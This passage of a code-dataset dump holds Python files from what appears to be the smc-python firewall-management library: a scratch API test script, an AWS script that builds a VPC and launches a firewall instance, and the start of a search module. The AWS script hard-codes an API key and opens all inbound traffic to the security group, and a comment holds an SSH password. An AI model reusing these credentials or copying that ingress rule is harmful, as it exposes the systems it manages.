pprint\n import time\n start_time = time.time()\n \n #import smc.elements.policy\n \"\"\"@type policy: FirewallPolicy\"\"\"\n #policy = smc.elements.policy.FirewallPolicy('api-test-policy').load()\n #print policy.ipv4_rule.create('erika6 rule', ['any'], ['any'], ['any'], 'allow')\n #for rule in policy.ipv4_rule.ipv4_rules:\n # print \"rule: %s\" % rule\n\n \"\"\"@type engine: Node\"\"\" #aws-02 node 1\n #engine = Engine('i-cc9e5bcd (us-east-1a)').load()\n \n \n engine = Engine('bo').load()\n pprint(vars(engine))\n \n for x in engine.interface:\n print x\n \n '''\n for gw in collections.describe_external_gateways():\n if gw.name == 'externalgw':\n g = gw.load()\n pprint(vars(g))\n for endpoint in g.external_endpoint:\n pprint(vars(endpoint))\n '''\n \n \n #for site in engine.internal_gateway.vpn_site.all():\n # print site\n # site.load()\n # site.modify_attribute(site_element=[site_network])\n # pprint(vars(site.element))\n #for x in describe_vpn_profiles():\n # if x.name == 'iOS Suite':\n # pprint(smc.actions.search.element_by_href_as_json(x.href))\n \n \n #vpn = VPNPolicy('myVPN').load()\n #print vpn.name, vpn.vpn_profile\n #vpn.open()\n #pprint(vars(vpn))\n #pprint(vpn.central_gateway_node())\n #vpn.add_central_gateway(engine.internal_gateway.href)\n #vpn.add_satellite_gateway(engine.internal_gateway.href)\n #vpn.save()\n #vpn.close()\n \n #from smc.elements.policy import FirewallPolicy\n #policy = FirewallPolicy('newpolicy').load()\n \n #print \"template: %s\" % policy.template\n #print \"file filtering: %s\" % policy.file_filtering_policy\n #print \"inspection policy: %s\" % policy.inspection_policy\n #for x in policy.fw_ipv4_access_rules:\n # x.delete()\n \n #policy = FirewallPolicy.create(name='smcpython',\n # template_policy='Firewall Inspection Template') \n #print(smc.actions.search.element_href('foonetwork'))\n #engine = Engine('aws-02').load()\n \n #pprint(vars(engine.internal_gateway))\n #for site in engine.internal_gateway.vpn_site:\n # pprint(vars(site))\n \n \n #pprint(collections.describe_sub_ipv6_fw_policies())\n \n\n #for host in describe_hosts(name=['duh']):\n # h = host.load()\n # h.modify_attribute(name='kiley', address='1.1.2.2')\n \n \n '''\n for site in engine.internal_gateway.vpn_site:\n r = smc.actions.search.element_by_href_as_smcresult(site.href) \n s = vars(site)\n s.get('site_element').append('http://172.18.1.150:8082/6.0/elements/network/9822')\n pprint(s)\n print SMCElement(href=site.href,\n json=s,\n etag=r.etag).update()\n '''\n '''\n myservices = [v\n for item in smc.actions.search.element_href_by_batch(['HTTP', 'HTTPS'], 'tcp_service')\n for k, v in item.iteritems()\n if v]\n \n mysources = [v\n for item in smc.actions.search.element_href_by_batch(['foonetwork', 'amazon-linux'])\n for k, v in item.iteritems()\n if v]\n \n mydestinations = ['any']\n \n policy.ipv4_rule.create(name='myrule', \n sources=mysources,\n destinations=mydestinations, \n services=myservices, \n action='permit')\n \n for rule in policy.fw_ipv4_access_rules:\n print rule\n ''' \n #my_destinations = ['any']\n #my_services = smc.actions.search.element_href_by_batch(['HTTP', 'HTTPS'])\n #print my_services\n \n #print('ipv4 access rule')\n #pprint(smc.actions.search.element_by_href_as_json('http://172.18.1.150:8082/6.0/elements/fw_policy/244/fw_ipv4_access_rule'))\n #print \"Query vpn sites\"\n #pprint(ext_gw.vpn_site())\n #print \"example vpn site detail\"\n #pprint(smc.actions.search.element_by_href_as_json('http://172.18.1.150:8082/6.0/elements/external_gateway/1702/vpn_site/1723'))\n #print \"gateway setting ref: \"\n #pprint(smc.actions.search.element_by_href_as_json('http://172.18.1.150:8082/6.0/elements/external_gateway/1702'))\n \n \n \n #DEFAULT_NAT\n #Default NAT address alias\n #pprint(smc.actions.search.element_by_href_as_json('http://172.18.1.150:8082/6.0/elements/default_nat_address_alias'))\n #Leads to get the actual values\n #pprint(smc.actions.search.element_by_href_as_json('http://172.18.1.150:8082/6.0/elements/default_nat_address_alias/133'))\n #Then call resolve link\n #pprint(smc.actions.search.element_by_href_as_json('http://172.18.1.150:8082/6.0/elements/default_nat_address_alias/133/resolve'))\n '''\n \"\"\"@type engine: Node\"\"\"\n #engine = Node('tooter').load()\n #print \"Here: %s\" % engine.export(filename='myfile')\n #engine.initial_contact(filename='engine.cfg')\n #engine.sginfo()\n #Engine level\n \n #engine.node()\n #pprint(engine.interface())\n #print engine.refresh(wait_for_finish=False).next()\n #engine.upload()\n #engine.generate_snapshot(filename=\"/Users/davidlepage/snapshot.xml\")\n #engine.add_route('172.18.1.200', '192.168.7.0/24')\n #engine.blacklist_add('1.1.1.1/32', '0.0.0.0/0', 3600)\n #engine.alias_resolving()\n #engine.routing_monitoring()\n #engine.export(filename=\"/Users/davidlepage/export.xml\")\n #engine.internal_gateway()\n #engine.routing()\n #engine.antispoofing()\n #engine.snapshot()\n #pprint(engine.physical_interface())\n #pprint(engine.physical_interface_del('Interface 54'))\n #engine.tunnel_interface()\n #engine.modem_interface()\n #engine.adsl_interface()\n #pprint(engine.wireless_interface())\n #engine.switch_physical_interface()\n \n #Node level\n #engine.initial_contact(filename=\"/Users/davidlepage/engine.cfg\")\n #pprint(engine.appliance_status(node='ngf-1035'))\n #pprint(engine.status('ngf-1035'))\n #pprint(engine.go_online('ngf-1035'))\n #pprint(engine.go_offline('ngf-1035'))\n #pprint(engine.go_standby('ngf-1035'))\n #pprint(engine.lock_online('ngf-1035', comment='mytestcomment'))\n #pprint(engine.lock_offline('ngf-1035'))\n #pprint(engine.reset_user_db('ngf-1035'))\n #pprint(engine.diagnostic('ngf-1035', filter_enabled=True))\n #pprint(engine.interface())\n #pprint(engine.node_links)\n #pprint(engine.time_sync('ngf-1035'))\n #pprint(engine.fetch_license('ngf-1035'))\n #pprint(engine.bind_license(node='ngf-1035', license_item_id='0000310401'))\n #pprint(engine.unbind_license(node='ngf-1035'))\n #pprint(engine.certificate_info(node='ngf-1065'))\n #pprint(engine.ssh('ngf-1035', enable=True, comment='api test ssh disable'))\n #pprint(engine.change_ssh_pwd('ngf-1035', '1970keegan', comment='api pwd change'))\n #engine.export()\n #engine.initial_contact('ngf-1035')\n #pprint(engine.engine_links)\n\n '''\n \n print(\"--- %s seconds ---\" % (time.time() - start_time))\n \n #print \"Number of GET calls: %s\" % smc.api.web.session.http_get.calls\n #print \"Number of GET calls: %s\" % smc.api.session.session.logout() \n #smc.api.web.session.logout()\n session.logout()\n" }, { "alpha_fraction": 0.5900678038597107, "alphanum_fraction": 0.5981798768043518, "avg_line_length": 41.147987365722656, "blob_id": "356b544c3e306ea65e1efd2cf790e82653275a33", "content_id": "5e8b27d4d915d512bb4c6dd5fab0b3622983ca73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29339, "license_type": "no_license", "max_line_length": 108, "num_lines": 696, "path": "/smc/examples/aws_config.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "'''\nStonesoft NGFW configurator for AWS instance deployment with auto-engine creation.\nThere are two example use cases that can be leveraged to generate NGFW automation into AWS:\n\nUse Case 1: \n * Fully create a VPC and subnets and auto provision NGFW as gateway\n \nUse Case 2: \n * Fully provision NGFW into existing VPC\n\nIn both cases the NGFW will connect to Stonesoft Management Center over an encrypted connection \nacross the internet.\nIt is also possible to host SMC in AWS where contact could be made through AWS routing\n\n.. note:: This also assumes the NGFW AMI is available in \"My AMI's\" within the AWS Console \n\nThe Stonesoft NGFW will be created with 2 interfaces (limit for t2.micro) and use a DHCP interface \nfor the management interface. No IP addresses are required when creating the NGFW. \nThe strategy is that the network interface objects will be created first from the boto3 API \nallowing retrieval of the dynamically assigned ip addresses and subnet cidr blocks.\nThose are then used by smc-python when creating the engine based on what AWS delegates. \nDefault NAT is enabled on the engine to allow outbound traffic without a specific NAT rule. \n\nOnce the NGFW is created, a license is automatically bound and the initial_contact for the engine\nis created for AMI instance UserData. \n\nThe AWS create_instances() method is called specifying the required information and user data allowing the\nNGFW to auto-connect to the SMC without intervention.\n\nThe SMC should be prepared with the following:\n* Available security engine licenses\n* Pre-configured Layer 3 Policy with required policy\n\nThere is a current limitation on the NGFW side where Locations can not be added through the SMC API\ntherefore auto-policy queueing cannot be done without manually configuring the Location on the engine. When \nthe policy is pushed, the engine will lose the public IP of the SMC management and log server. \nThis should not be an issue if the SMC is on the same network or routable from inside (thru VPN, etc).\n\nThe tested scenario was based on public AWS documentation found at:\nhttp://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_Scenario2.html\n\nRequirements:\nsmc-python\nboto3\n\nInstall smc-python::\n\n python install git+https://github.com/gabstopper/smc-python.git\n \n'''\n\nfrom pprint import pprint\nimport re\nimport time\nimport ipaddress\nimport boto3\nimport botocore\nfrom smc.api.session import session\nfrom smc.elements.engines import Layer3Firewall\nfrom smc.elements import collections as collections\nfrom smc.api.exceptions import CreateEngineFailed\n\nsmc_public_ip = '73.88.56.153' #Hack initial_contact file; Locations are not configurable via SMC API\ninstance_type='t2.micro'\nngfw_6_0_2 = 'ami-b50f60a2' #east\n \nclass VpcConfiguration(object):\n \"\"\" \n VpcConfiguration models the data to correlate certain aspects of an \n AWS VPC such as VPC ID, associated subnets, and network interfaces and uses the boto3\n services model api.\n \n If the class is instantiated without a VPC id, the default VPC will be used. If a\n VPC is specified, it is loaded along with any relevant settings needed to configure\n and spin up a NGFW instance.\n \n Note that operations performed against AWS are not idempotent, so if there is a \n failure, changes made would need to be undone.\n \n Instance attributes:\n \n :ivar availability_zone: AWS AZ for placement\n :ivar internet_gateway: AWS internet gateway object reference\n :ivar vpc: vpc object reference\n \n :param vpcid: VPC id\n \"\"\" \n def __init__(self, vpcid=None):\n self.vpcid = vpcid\n self.vpc = None #: Reference to VPC\n self.alt_route_table = None\n self.network_interface = [] #: interface idx, network ref\n \n def load(self):\n if not self.vpcid:\n default_vpc = ec2.vpcs.filter(Filters=[{\n 'Name': 'isDefault',\n 'Values': ['true']}])\n for v in default_vpc:\n self.vpc = v\n else:\n for _ in range(5):\n try:\n self.vpc = ec2.Vpc(self.vpcid)\n print 'State of VPC: {}'.format(self.vpc.state)\n break\n except botocore.exceptions.ClientError:\n time.sleep(2)\n \n print \"Loaded VPC with id: {} and cidr_block: {}\".\\\n format(self.vpc.vpc_id, self.vpc.cidr_block)\n return self\n \n @classmethod\n def create(cls, vpc_subnet, instance_tenancy='default'):\n \"\"\" Create new VPC with internet gateway and default route\n * Create the VPC\n * Create internet gateway\n * Attach internet gateway to VPC\n * Create route in main route table for all outbound to igw\n \n :param vpc_subnet: VPC cidr for encapsulated subnets\n :param instance_tenancy: 'default|dedicated|host'\n :returns: self\n \"\"\"\n vpc_new = ec2.create_vpc(CidrBlock=vpc_subnet,\n InstanceTenancy=instance_tenancy)\n print \"Created VPC: {}\".format(vpc_new.vpc_id)\n \n vpc = VpcConfiguration(vpc_new.vpc_id).load() \n \n vpc.internet_gateway = ec2.create_internet_gateway()\n print \"Created internet gateway: {}\".format(vpc.internet_gateway.id)\n \n #attach igw to vpc\n vpc.internet_gateway.attach_to_vpc(VpcId=vpc.vpc.vpc_id)\n \n vpc.create_default_gw()\n vpc.create_alt_route_table()\n return vpc\n\n def create_network_interface(self, interface_id, cidr_block,\n availability_zone=None,\n description=''):\n \"\"\"\n Create a network interface to be used for the NGFW AMI\n This involves several steps: \n * Create the subnet\n * Create the network interface for subnet\n * Disable SourceDestCheck on the network interface\n * Create elastic IP and bind (only to interface eth0)\n \n NGFW will act as a gateway to the private networks and will have \n default NAT enabled.\n Interface 0 will be attached to the AWS interface eth0 which will\n be bound to the AWS Internet GW for inbound / outbound routing. The\n static IP address for eth0 will be calculated based on the network address\n broadcast -1.\n See AWS doc's for reserved addresses in a VPC:\n http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_Subnets.html\n \n :param int interface_id: id to assign interface\n :param cidr_block: cidr of subnet\n :param availability_zone: optional\n :param description: description on interface\n :raises: botocore.exception.ClientError\n \"\"\"\n subnet = self.create_subnet(cidr_block)\n wait_for_resource(subnet, self.vpc.subnets.all())\n \n #Assign static address and elastic to eth0\n if interface_id == 0:\n external = ipaddress.ip_network(u'{}'.format(cidr_block))\n external = str(list(external)[-2]) #broadcast address -1\n interface = subnet.create_network_interface(PrivateIpAddress=external,\n Description=description)\n \n wait_for_resource(interface, self.vpc.network_interfaces.all()) \n allocation_id = self.allocate_elastic_ip()\n address = ec2.VpcAddress(allocation_id)\n address.associate(NetworkInterfaceId=interface.network_interface_id)\n else:\n interface = subnet.create_network_interface(Description=description)\n wait_for_resource(interface, self.vpc.network_interfaces.all())\n \n interface.modify_attribute(SourceDestCheck={'Value': False})\n print \"Created network interface: {}, subnet_id: {}, private address: {}\".\\\n format(interface.network_interface_id, interface.subnet_id,\n interface.private_ip_address)\n \n self.availability_zone = interface.availability_zone \n self.associate_network_interface(interface_id, interface.network_interface_id)\n\n def create_subnet(self, cidr_block):\n \"\"\"\n Create a subnet\n :return: Subnet\n \"\"\"\n subnet = ec2.create_subnet(VpcId=self.vpc.vpc_id,\n CidrBlock=cidr_block)\n print \"Created subnet: {}, in availablity zone: {}\".\\\n format(subnet.subnet_id, subnet.availability_zone)\n return subnet\n \n def create_default_gw(self):\n \"\"\" \n Create the default GW pointing to IGW \n \"\"\"\n def_route = self.default_route_table()\n \n def_route.create_route(\n DestinationCidrBlock='0.0.0.0/0',\n GatewayId=self.internet_gateway.id)\n \n def create_alt_route_table(self):\n \"\"\" \n Create alternate route table for non-public subnets\n \"\"\"\n self.alt_route_table = self.vpc.create_route_table()\n print \"Created alt route table: {}\".format(\\\n self.alt_route_table.id)\n \n def alt_route_to_ngfw(self):\n \"\"\" \n Create a route to non-local networks using eth1 (ngfw)\n as the route gateway\n \"\"\"\n for intf in self.network_interface:\n for idx, network in intf.iteritems():\n if idx != 0:\n self.alt_route_table.create_route(\n DestinationCidrBlock='0.0.0.0/0',\n NetworkInterfaceId=network.network_interface_id)\n print \"Added route for NGFW..\"\n\n def allocate_elastic_ip(self):\n \"\"\" \n Create elastic IP address for network interface. An elastic IP is\n used for the public facing interface for the NGFW AMI\n :return: AllocationId (elastic IP reference)\n \"\"\"\n eip = None\n try:\n eip = ec2.meta.client.allocate_address(Domain='vpc')\n except botocore.exceptions.ClientError:\n #Caught AddressLimitExceeded. Find unassigned or re-raise\n addresses = ec2.meta.client.describe_addresses().get('Addresses')\n for unassigned in addresses:\n if not unassigned.get('NetworkInterfaceId'):\n print \"Unassigned Elastic IP found: {}\".\\\n format(unassigned.get('AllocationId'))\n eip = unassigned\n break\n if not eip: raise\n return eip.get('AllocationId')\n \n @property\n def availability_zone(self):\n \"\"\"\n :return: availability_zone\n \"\"\"\n if not hasattr(self, '_availability_zone'):\n return None\n return self._availability_zone\n \n @availability_zone.setter\n def availability_zone(self, value):\n self._availability_zone = value\n \n @property \n def internet_gateway(self):\n \"\"\" \n :return: InternetGateway\n \"\"\"\n if not hasattr(self, '_internet_gateway'):\n return None\n return self._internet_gateway\n \n @internet_gateway.setter\n def internet_gateway(self, value):\n self._internet_gateway = value\n \n def default_route_table(self):\n \"\"\" \n Get the default route table\n :return: RouteTable\n \"\"\"\n rt = self.vpc.route_tables.filter(Filters=[{\n 'Name': 'association.main',\n 'Values': ['true']}])\n for default_rt in rt:\n return default_rt\n \n def associate_network_interface(self, interface_id, network_interface_id):\n \"\"\"\n Associate the network interface to a device index.\n :raises: InvalidNetworkInterfaceID.NotFound\n \"\"\"\n interface_itr = ec2.network_interfaces.filter(\n NetworkInterfaceIds=[network_interface_id])\n for intf in interface_itr:\n self.network_interface.append({interface_id: intf})\n \n def associate_alt_route_to_subnets(self):\n \"\"\"\n Associate alternate route to non-public subnets\n Interface 0 will be assigned to the 'public' or management side\n network and other network subnets will be considered private. Note that\n a network interface will always have a subnet reference.\n \"\"\"\n for networks in self.network_interface:\n for idx, ntwk in networks.iteritems():\n if idx != 0: #0 is considered public\n self.alt_route_table.associate_with_subnet(\n SubnetId=ntwk.subnet_id)\n self.alt_route_to_ngfw() \n \n def authorize_security_group_ingress(self, from_cidr_block, \n ip_protocol='-1'):\n \"\"\" \n Creates an inbound rule to allow access from public that will\n be redirected to the virtual FW\n For protocols, AWS references:\n http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml\n \n :param cidr_block: network (src 0.0.0.0/0 from internet)\n :param protocol: protocol to allow (-1 for all)\n \"\"\"\n for grp in self.vpc.security_groups.all():\n grp.authorize_ingress(CidrIp=from_cidr_block,\n IpProtocol=ip_protocol)\n print \"Modified ingress security group: {}\".format(grp.id)\n \n def build_ngfw_interfaces(self):\n \"\"\" \n Build the right data structure for NGFW firewall interfaces\n :return: list of dictionarys representing NGFW interface\n \"\"\"\n interfaces = []\n for intf in self.network_interface:\n for idx, obj in intf.iteritems():\n interfaces.append({'interface_id': idx,\n 'address': obj.private_ip_address,\n 'network_value': obj.subnet.cidr_block})\n return interfaces\n \n def launch(self, key_pair, userdata=None, \n imageid=ngfw_6_0_2, \n availability_zone='us-west-2b'):\n \"\"\"\n Launch the instance\n \n :param key_name: keypair required to enable SSH to AMI\n :param userdata: optional, but recommended\n :param imageid: NGFW AMI id\n :param availability_zone: where to launch instance\n :return: instance\n \"\"\"\n verify_key_pair(key_pair) #exception raised here\n \n print \"Launching instance into availability zone: {}\".format(\\\n self.availability_zone)\n \n interfaces = []\n for interface in self.network_interface:\n for idx, network in interface.iteritems():\n interfaces.append({'NetworkInterfaceId': network.network_interface_id,\n 'DeviceIndex': idx})\n\n #create run instance\n instance = ec2.create_instances(ImageId=imageid,\n MinCount=1,\n MaxCount=1,\n InstanceType=instance_type,\n KeyName=key_pair,\n Placement={'AvailabilityZone': \n self.availability_zone},\n NetworkInterfaces=interfaces,\n UserData=userdata)\n return instance[0]\n \n def rollback(self):\n \"\"\" \n In case of failure, convenience to wrap in try/except and remove\n the VPC. If there is a running EC2 instance, this will terminate\n that instnace, remove all other dependencies and delete the VPC.\n Typically this is best run when attempting to create the entire\n VPC. It is not advisable if loading an existing VPC as it will remove\n the entire configuration.\n \"\"\"\n for instance in self.vpc.instances.filter(Filters=[{\n 'Name': 'instance-state-name',\n 'Values': ['running', 'pending']}]):\n print \"Terminating instance: {}\".format(instance.instance_id)\n instance.terminate()\n for state in waiter(instance, 'terminated'):\n print state\n \n for intf in self.vpc.network_interfaces.all():\n print \"Deleting interface: {}\".format(intf)\n intf.delete()\n for subnet in self.vpc.subnets.all():\n print \"Deleting subnet: {}\".format(subnet)\n subnet.delete()\n for rt in self.vpc.route_tables.all():\n if not rt.associations_attribute:\n print \"Deleting unassociated route table: {}\".format(rt)\n rt.delete()\n else:\n for current in rt.associations_attribute:\n if not current or current.get('Main') == False:\n print \"Deleting non-default route table: {}\".format(rt)\n rt.delete()\n for igw in self.vpc.internet_gateways.all():\n print \"Detach and deleting IGW: {}\".format(igw)\n igw.detach_from_vpc(VpcId=self.vpc.vpc_id)\n igw.delete()\n \n self.vpc.delete()\n print \"Deleted vpc: {}\".format(self.vpc.vpc_id)\n \ndef verify_key_pair(key_pair):\n \"\"\" \n Verifies key pair before launching AMI\n :raises: botocore.exception.ClientError \n \"\"\"\n ec2.meta.client.describe_key_pairs(KeyNames=[key_pair])\n\ndef waiter(instance, status):\n \"\"\" \n Generator to monitor the startup of the launched AMI \n Call this in loop to get status\n :param instance: instance to monitor \n :param status: status to check for:\n 'pending|running|shutting-down|terminated|stopping|stopped'\n :return: generator message updates \n \"\"\"\n while True:\n if instance.state.get('Name') != status:\n print \"Instance in state: {}, waiting..\".format(instance.state.get('Name'))\n time.sleep(5)\n instance.reload()\n else:\n yield \"Image in desired state: {}!\".format(status)\n break\n\ndef wait_for_resource(resource, iterable):\n \"\"\"\n Wait for the resource to become available. If the AWS\n component isn't available right away and a reference call is\n made the AWS client throw an exception. This checks the iterable \n for the component id before continuing. Insert this where you \n might need to introduce a short delay.\n \n :param resource: subnet, interface, etc\n :param iterable: iterable function\n :return: None\n \"\"\"\n for _ in range(5):\n for _id in iterable:\n if resource.id == _id.id:\n return\n time.sleep(2)\n \ndef create_ngfw_in_smc(name, interfaces, \n domain_server_address=None,\n default_nat=True,\n reverse_connection=True):\n \"\"\" \n Create NGFW instance in SMC, bind the license and return the \n initial_contact info which will be fed to the AWS launcher as \n UserData.\n The NGFW will be configured to enable Default NAT for outbound.\n \n :param str name: name of ngfw in smc\n :param list interfaces: list of interfaces from VpcConfiguration\n :param list domain_server_address: (optional) dns address for engine\n :param boolean default_nat: (optional: default True) whether to enable default NAT\n :param boolean reverse_connection: (optional: default True) use when behind NAT\n \n See :py:class:`smc.elements.engines.Layer3Firewall` for more info\n \"\"\"\n global engine\n print \"Creating NGFW....\"\n \n for interface in interfaces:\n address = interface.get('address')\n interface_id = interface.get('interface_id')\n network_value = interface.get('network_value')\n if interface_id == 0:\n mgmt_ip = address\n mgmt_network = network_value\n engine = Layer3Firewall.create(name, \n mgmt_ip, \n mgmt_network,\n domain_server_address=domain_server_address,\n reverse_connection=reverse_connection, \n default_nat=default_nat)\n #default gateway is first IP on network subnet\n gateway = ipaddress.ip_network(u'{}'.format(mgmt_network))\n gateway = str(list(gateway)[1])\n engine.add_route(gateway, '0.0.0.0/0')\n else:\n engine.physical_interface.add_single_node_interface(interface_id, \n address, \n network_value)\n #Enable VPN on external interface\n for intf in engine.internal_gateway.internal_endpoint.all():\n if intf.name == mgmt_ip:\n intf.modify_attribute(enabled=True)\n \n print \"Created NGFW...\"\n for node in engine.nodes:\n node.bind_license()\n content = node.initial_contact(enable_ssh=True)\n \n #reload engine to update engine settings\n engine = engine.load()\n \n #engine.upload(policy='Layer 3 Virtual Firewall Policy') #queue policy\n return re.sub(r\"management-address string (.+)\", \"management-address string \" + \\\n smc_public_ip, content)\n\ndef change_ngfw_name(instance_id, az):\n \"\"\" Change the engine name to match the InstanceId on Amazon\n \n :param instance_id: instance ID obtained from AWS run_instances\n :param az: availability zone\n \"\"\"\n engine.modify_attribute(name='{} ({})'.format(instance_id, az))\n engine.internal_gateway.modify_attribute(name='{} ({}) Primary'.format(\\\n instance_id, az))\n for node in engine.nodes:\n node.modify_attribute(name='{} node {}'.format(instance_id, node.nodeid))\n\ndef associate_vpn_policy(vpn_policy_name, gateway='central'):\n \"\"\"\n Associate this engine with an existing VPN Policy\n First create the proper VPN Policy within the SMC. This will add the AWS NGFW as\n a gateway node.\n \n :param str vpn_policy_name: name of existing VPN Policy\n :param str gateway: |central|satellite\n :return: None\n \"\"\" \n for policy in collections.describe_vpn_policies():\n if policy.name == vpn_policy_name:\n vpn = policy.load()\n vpn.open()\n if gateway == 'central':\n vpn.add_central_gateway(engine.internal_gateway.href)\n else:\n vpn.add_satellite_gateway(engine.internal_gateway.href)\n vpn.save()\n vpn.close()\n break\n \ndef monitor_ngfw_status(step=10):\n \"\"\"\n Monitor NGFW initialization. Status will start as 'Declared' and move to\n 'Configured' once initial contact has been made. After policy upload, status\n will move to 'Installed'.\n \n :param step: sleep interval\n \"\"\"\n print \"Waiting for NGFW to fully initialize...\"\n desired_status = 'Online'\n while True:\n for node in engine.nodes:\n status = node.status()\n if status.get('status') != desired_status:\n print \"Status: {}, Config Status: {}, State: {}\".format(\\\n status.get('status'), status.get('configuration_status'), \n status.get('state'))\n else:\n print 'NGFW Status: {}, Installed Policy: {}, State: {}, Version: {}'.\\\n format(status.get('status'), status.get('installed_policy'),\n status.get('state'), status.get('version'))\n return\n time.sleep(step)\n \n\n \nif __name__ == '__main__':\n \n session.login(url='http://172.18.1.150:8082', api_key='EiGpKD4QxlLJ25dbBEp20001')\n \n import smc.actions.remove\n smc.actions.remove.element('aws-02', 'single_fw')\n\n ec2 = boto3.resource('ec2', \n #region_name='us-west-2',\n region_name='us-east-1'\n )\n '''\n Use Case 1: Create entire VPC and deploy NGFW\n ---------------------------------------------\n This will fully create a VPC and associated requirements. \n The following will occur:\n * A new VPC will be created in the AZ based on boto3 client region\n * Two network subnets are created in the VPC, one public and one private\n * Two network interfaces are created and assigned to the subnets\n eth0 = public, eth1 = private\n * An elastic IP is created and attached to the public network interface\n * An internet gateway is created and attached to the public network interface\n * A route is created in the default route table for the public interface to\n route 0.0.0.0/0 to the IGW\n * The default security group is modified to allow inbound access from 0.0.0.0/0\n to to the NGFW network interface\n :py:func:`VpcConfiguration.authorize_security_group_ingress`\n * A secondary route table is created with a default route to 0.0.0.0/0 with a next\n hop assigned to interface eth1 (NGFW). This is attached to the private subnet.\n * The NGFW is automatically created and UserData is obtained for AMI instance launch\n * AMI is launched using UserData to allow auto-connection to NGFW SMC Management\n * NGFW receives queued policy and becomes active\n \n .. note: The AZ used during instance spin up is based on the AZ that is auto-generated\n by AWS when the interface is created. If you require a different AZ, set the \n attribute :py:class:`VpcConfiguration.availability_zone` before called launch. \n '''\n #Uncomment and put your VPC name in here to delete the whole thing\n vpc = VpcConfiguration('vpc-da3a74bd').load()\n vpc.rollback()\n \n \n vpc = VpcConfiguration.create(vpc_subnet='192.168.3.0/24')\n try:\n vpc.create_network_interface(0, '192.168.3.240/28', description='public-ngfw') \n vpc.create_network_interface(1, '192.168.3.0/25', description='private-ngfw')\n vpc.associate_alt_route_to_subnets()\n vpc.authorize_security_group_ingress('0.0.0.0/0', ip_protocol='-1')\n \n userdata = create_ngfw_in_smc(name='aws-02', \n interfaces=vpc.build_ngfw_interfaces(),\n domain_server_address=['8.8.8.8', '8.8.4.4'])\n \n instance = vpc.launch(key_pair='dlepage', userdata=userdata)\n \n #change ngfw name to 'instanceid-availability_zone\n change_ngfw_name(instance.id, vpc.availability_zone)\n associate_vpn_policy('myVPN')\n \n for message in waiter(instance, 'running'):\n print message\n \n start_time = time.time()\n monitor_ngfw_status()\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n \n except (botocore.exceptions.ClientError, CreateEngineFailed) as e:\n print \"Caught exception, rolling back: {}\".format(e)\n vpc.rollback()\n\n '''\n Use Case 2: Deploy NGFW into existing VPC\n -----------------------------------------\n This assumes the following:\n * You have an existing VPC, with a public subnet and private subnet/s\n * You have created 2 network interfaces, one assigned to the public subnet\n * Disable SourceDestCheck on the network interfaces\n * The public network interface is assigned an elastic IP\n * An internet gateway is attached to the VPC\n * A route table exists for the VPC (default is ok) and allows outbound traffic \n to the internet gateway.\n \n When associating the network interface, interface eth0 should be the network\n interface associated with the elastic (public) facing interface id.\n After creating the instance, manually add a new route table, and \n route table entry that directs destination 0.0.0.0/0 to the NGFW \n interface id for eth1 (not the instance). Then attach the new route table \n to the private subnet.\n '''\n ''' \n vpc = VpcConfiguration('vpc-f1735e95').load()\n vpc.associate_network_interface(0, 'eni-49ab2635')\n vpc.associate_network_interface(1, 'eni-0b931e77')\n vpc.authorize_security_group_ingress('0.0.0.0/0', ip_protocol='-1')\n vpc.availability_zone.add('us-west-2a')\n \n userdata = create_ngfw_in_smc(name='aws-02', \n interfaces=vpc.build_ngfw_interfaces(),\n domain_server_address=['8.8.8.8', '8.8.4.4'])\n \n instance = vpc.launch(key_pair='aws-ngfw', userdata=userdata)\n for message in wait_for_ready(instance):\n print message\n '''\n '''\n addr = ec2.meta.client.describe_addresses().get('Addresses')\n for available in addr:\n if not available.get('NetworkInterfaceId'):\n print \"Available Elastic IP: {}\".format(available.get('AllocationId'))\n '''\n \n #http://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_Subnets.html\n session.logout()\n " }, { "alpha_fraction": 0.6408324241638184, "alphanum_fraction": 0.6408324241638184, "avg_line_length": 31.567766189575195, "blob_id": "5d2951f9ecb9fa674ec5861f976e1cf4b4bd598e", "content_id": "737c905cc904014edfb83a6d3175f5970e5e9aed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8890, "license_type": "no_license", "max_line_length": 99, "num_lines": 273, "path": "/smc/actions/search.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nSearch module provides convenience methods for retrieving specific data from \nthe SMC. Each method will return data in a certain way with different inputs.\nAll methods are using :mod:`smc.api.common` methods which wrap any exceptions\nand if there are no results, each method would return None\n\nExample of retrieving an SMC element by name, as json::\n\n smc.actions.search.element_as_json('myelement')\n \nElement as json with etag (etag is required for modifications)::\n\n smc.actions.search.element_as_json_with_etag('myelement')\n \nGet element reference::\n \n smc.actions.search.element_href('myelement')\n \nAll elements by type::\n \n smc.actions.search.element_by_type('host')\n\"\"\"\nimport logging\nfrom smc.api.common import fetch_href_by_name, fetch_json_by_href,\\\n fetch_json_by_name, fetch_entry_point\nfrom smc.api.session import session\n\nlogger = logging.getLogger(__name__)\n\n\ndef element(name):\n \"\"\" Convenience method to get element href by name\n \n :param name: name of element\n :return: str href of element, else None\n \"\"\"\n if name:\n return element_href(name)\n\n\ndef element_href(name):\n \"\"\" Get specified element href by element name \n \n :param name: name of element\n :return: string href location of object, else None \n \"\"\"\n if name:\n element = fetch_href_by_name(name)\n if element.href:\n return element.href\n\ndef element_as_json(name):\n \"\"\" Get specified element json data by name \n \n :param name: name of element\n :return: json data representing element, else None \n \"\"\"\n if name:\n element = fetch_json_by_name(name)\n if element.json:\n return element.json\n\ndef element_as_json_with_filter(name, _filter):\n \"\"\" Get specified element json data by name with filter\n \n :param name: name of element\n :param _filter: element filter\n :return: json data representing element, else None\n \"\"\"\n if name:\n element_href = element_href_use_filter(name, _filter)\n if element_href:\n return element_by_href_as_json(element_href)\n \ndef element_as_json_with_etag(name):\n \"\"\" Convenience method to return SMCElement that\n holds href, etag and json in result object\n \n :param name: name of element\n :return: SMCResult, else None\n \"\"\"\n return element_as_smcresult(name)\n \ndef element_info_as_json(name):\n \"\"\" Get specified element full json based on search query\n This is the base level search that returns basic object info\n including the href to find the full data\n \n :param name: name of element\n :return: json representation of top level element (multiple attributes), else None\n \"\"\" \n if name:\n element = fetch_href_by_name(name)\n if 